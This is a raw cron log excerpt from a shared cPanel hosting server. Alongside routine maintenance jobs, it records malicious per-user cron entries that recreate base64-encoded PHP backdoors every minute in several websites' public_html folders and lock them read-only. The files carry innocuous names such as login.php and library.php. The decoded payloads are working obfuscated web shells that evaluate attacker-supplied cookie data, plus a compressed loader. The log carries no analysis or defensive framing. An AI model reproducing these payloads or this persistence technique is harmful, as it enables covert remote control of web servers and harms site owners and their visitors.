Jun  7 14:13:02 medusa CROND[14021]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:13:02 medusa CROND[14018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:14:01 medusa CROND[15629]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:14:01 medusa CROND[15630]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:14:01 medusa CROND[15631]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 14:14:01 medusa CROND[15632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:14:01 medusa CROND[15633]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:14:01 medusa CROND[15634]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:14:01 medusa CROND[15635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:14:01 medusa CROND[15636]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:14:01 medusa CROND[15638]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:14:01 medusa CROND[15639]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:14:01 medusa CROND[15640]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:14:01 medusa CROND[15642]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:14:01 medusa CROND[15646]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:15:01 medusa CROND[17451]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 14:15:01 medusa CROND[17460]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 14:15:01 medusa CROND[17463]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Jun  7 14:15:01 medusa CROND[17469]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:15:01 medusa CROND[17490]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 14:15:01 medusa CROND[17508]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 14:15:01 medusa CROND[17511]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:15:01 medusa CROND[17521]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 14:15:01 medusa CROND[17524]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 14:15:01 medusa CROND[17525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:15:01 medusa CROND[17526]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 14:15:01 medusa CROND[17527]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 14:15:01 medusa CROND[17532]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 14:15:01 medusa CROND[17533]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:15:01 medusa CROND[17529]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 14:15:01 medusa CROND[17530]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 14:15:01 medusa CROND[17534]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:15:01 medusa CROND[17540]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:15:01 medusa CROND[17541]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:15:01 medusa CROND[17538]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 14:15:01 medusa CROND[17546]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:15:01 medusa CROND[17549]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:15:01 medusa CROND[17556]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:15:01 medusa CROND[17548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
